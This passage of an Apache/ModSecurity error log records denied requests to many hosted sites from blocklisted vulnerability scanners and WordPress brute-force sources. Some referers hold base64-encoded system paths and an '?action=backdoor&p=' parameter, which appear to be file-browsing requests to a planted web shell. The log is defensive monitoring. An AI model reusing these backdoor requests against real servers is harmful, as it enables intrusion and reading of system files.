"www.4evercrystals.com"] [uri "/en/home/14-75-mini-center-pice.html"] [unique_id "ai3yeimiP80klyS0Nnol4gAAARw"], referer: https://www.4evercrystals.com/en/2-home?q=Categories-CENTERS%2FCode-2529PE-2935PT-9108VA [Sat Jun 13 18:14:50.948261 2026] [security2:error] [pid 531155:tid 531365] [client 145.239.10.137:47026] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.10.239.145.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "serenacandiani.com"] [uri "/system.php"] [unique_id "ai3yeimiP80klyS0Nnol7AAAAVo"], referer: http://serenacandiani.com/system.php [Sat Jun 13 18:14:51.383548 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:14:51.383831 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:14:51.481323 2026] [security2:error] [pid 531155:tid 531260] [remote 17.246.19.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeymiP80klyS0NnomCwABgGg"] [Sat Jun 13 18:14:51.483496 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.40:58586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:51.483766 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.40:58586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:51.558810 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.72:52719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:51.559608 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.72:52719] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:51.601031 2026] [security2:error] [pid 531155:tid 531240] [remote 17.22.253.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeymiP80klyS0NnomFQABbFQ"] [Sat Jun 13 18:14:51.637100 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.18:42116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:51.637397 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.18:42116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:51.647607 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.54:64093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:51.647900 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.54:64093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:51.677385 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.72:52725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:51.677686 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.72:52725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:51.919470 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:51.919918 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:52.291235 2026] [security2:error] [pid 531155:tid 531209] [remote 209.38.221.42:33706] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yfCmiP80klyS0NnomTwABUjU"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:14:52.418762 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:14:52.419101 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:14:52.556820 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:52.557114 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:52.633816 2026] [access_compat:error] [pid 531155:tid 531180] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L2xpYjY0L2xpYmRuZg%3D%3D [Sat Jun 13 18:14:52.634207 2026] [access_compat:error] [pid 531155:tid 531180] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L2xpYjY0L2xpYmRuZg%3D%3D [Sat Jun 13 18:14:52.745808 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.242.16:43114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:14:52.746095 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.242.16:43114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:14:52.775616 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.29:45117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:52.776079 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.29:45117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:52.776264 2026] [security2:error] [pid 531155:tid 531254] [remote 17.246.15.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfCmiP80klyS0NnombwABg2I"] [Sat Jun 13 18:14:52.788600 2026] [security2:error] [pid 531155:tid 531278] [remote 17.22.253.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfCmiP80klyS0NnomcAABd3o"] [Sat Jun 13 18:14:52.835787 2026] [security2:error] [pid 531155:tid 531201] [remote 17.241.227.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfCmiP80klyS0NnomcgABay0"] [Sat Jun 13 18:14:52.931154 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.28:22684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:52.931583 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.28:22684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:52.950779 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:14:52.951240 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:14:53.152254 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.5:20361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:53.152721 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.5:20361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:53.165209 2026] [security2:error] [pid 531155:tid 531349] [client 47.79.205.217:2200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.205.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3yfSmiP80klyS0NnomiAAAAUo"], referer: https://www.google.com/ [Sat Jun 13 18:14:53.271982 2026] [security2:error] [pid 531155:tid 531367] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetch_overview_variation1.phpt"] [unique_id "ai3yfSmiP80klyS0NnomjQAAAVw"] [Sat Jun 13 18:14:53.302069 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.101:23148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:53.302496 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.101:23148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:53.341020 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.82:64292] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:53.341457 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.82:64292] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:53.343545 2026] [security2:error] [pid 531155:tid 531240] [remote 57.141.14.19:24562] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/SouthMing/EasternJin/EarlierHan/NorthernZhou/SouthMing/Yuan/SouthernChen/content/usingdictionaries/kangxi.php"] [unique_id "ai3yfSmiP80klyS0NnomlQABFVQ"] [Sat Jun 13 18:14:53.386940 2026] [security2:error] [pid 531155:tid 531162] [remote 17.241.219.178:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfSmiP80klyS0NnommQABPAY"] [Sat Jun 13 18:14:53.486182 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.68:36122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:53.486467 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.68:36122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:53.492508 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:14:53.492958 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:14:53.594854 2026] [security2:error] [pid 531155:tid 531194] [remote 17.246.15.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfSmiP80klyS0NnomqQABfSY"] [Sat Jun 13 18:14:53.828542 2026] [security2:error] [pid 531155:tid 531159] [remote 17.246.19.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfSmiP80klyS0NnomuwABFAM"] [Sat Jun 13 18:14:53.919978 2026] [security2:error] [pid 531155:tid 531188] [remote 17.241.227.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfSmiP80klyS0NnomwAABaiA"] [Sat Jun 13 18:14:53.969867 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.36:32340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:53.970158 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.36:32340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:53.998782 2026] [security2:error] [pid 531155:tid 531276] [remote 45.236.128.46:52750] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nysas.org"] [uri "/wp-login.php"] [unique_id "ai3yfSmiP80klyS0NnomxAABdng"] [Sat Jun 13 18:14:54.031412 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:54.031882 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:14:54.094335 2026] [security2:error] [pid 531155:tid 531213] [remote 139.59.150.41:34558] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com 